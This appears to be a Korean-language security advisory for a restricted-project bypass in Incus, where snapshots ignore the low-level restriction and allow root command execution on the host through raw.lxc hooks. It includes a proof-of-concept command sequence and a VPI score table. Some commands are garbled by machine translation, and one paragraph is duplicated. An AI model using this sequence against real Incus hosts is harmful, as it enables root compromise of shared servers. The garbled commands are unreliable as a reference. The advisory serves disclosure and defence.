Incus에는 임의 명령 실행으로 이어지는 제한된 프로젝트 우회 기능이 있습니다.
인스턴스 스냅샷은 restricted.containers.lowlevel=block 설정을 무시합니다. raw.lxc 및 raw.qemu와 같은 저수준 후크를 남용하여 Incus 서버에서 임의 명령 실행을 허용합니다.
인스턴스 스냅샷은 restricted.containers.lowlevel=block 설정을 무시합니다. raw.lxc 및 raw.qemu와 같은 저수준 후크를 남용하여 Incus 서버에서 임의 명령 실행을 허용합니다.
스냅샷은 한 서버에서 다른 서버로 이동할 수 있으므로 악성 인스턴스+스냅샷을 로컬에서 제작하여 제한된 프로젝트로 이동하고 임의 명령 실행을 위해 스냅샷을 복원할 수 있습니다.
실제로 이를 통해 악의적인 행위자가 루트 권한으로 호스트에서 임의의 명령을 실행할 수 있습니다.
# 원격, 제한됨
incus 프로젝트 세트 rem:project Limited.true
incus 프로젝트 세트 rem:project Limited.containers.lowlevel=block
# 로컬, 무제한 프로젝트
incus init 이미지:debian/trixie rce-raw-lxc
incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"'
incus 스냅샷은 rce-raw-lxc snap0을 생성합니다.
#> 제한된 프로젝트로의 전송을 허용합니다.
incus 구성 설정 해제 rce-raw-lxc raw.lxc
# 로컬로 전송 및 트리거
incus move rce-raw-lxc rem: --mode 푸시
incus 스냅샷 복원 rem:rce-raw-lxc snap0
incus 시작 rem:rce-raw-lxc
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도 | 99.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 99.00 |
VPI 공식 vpi-v1 기준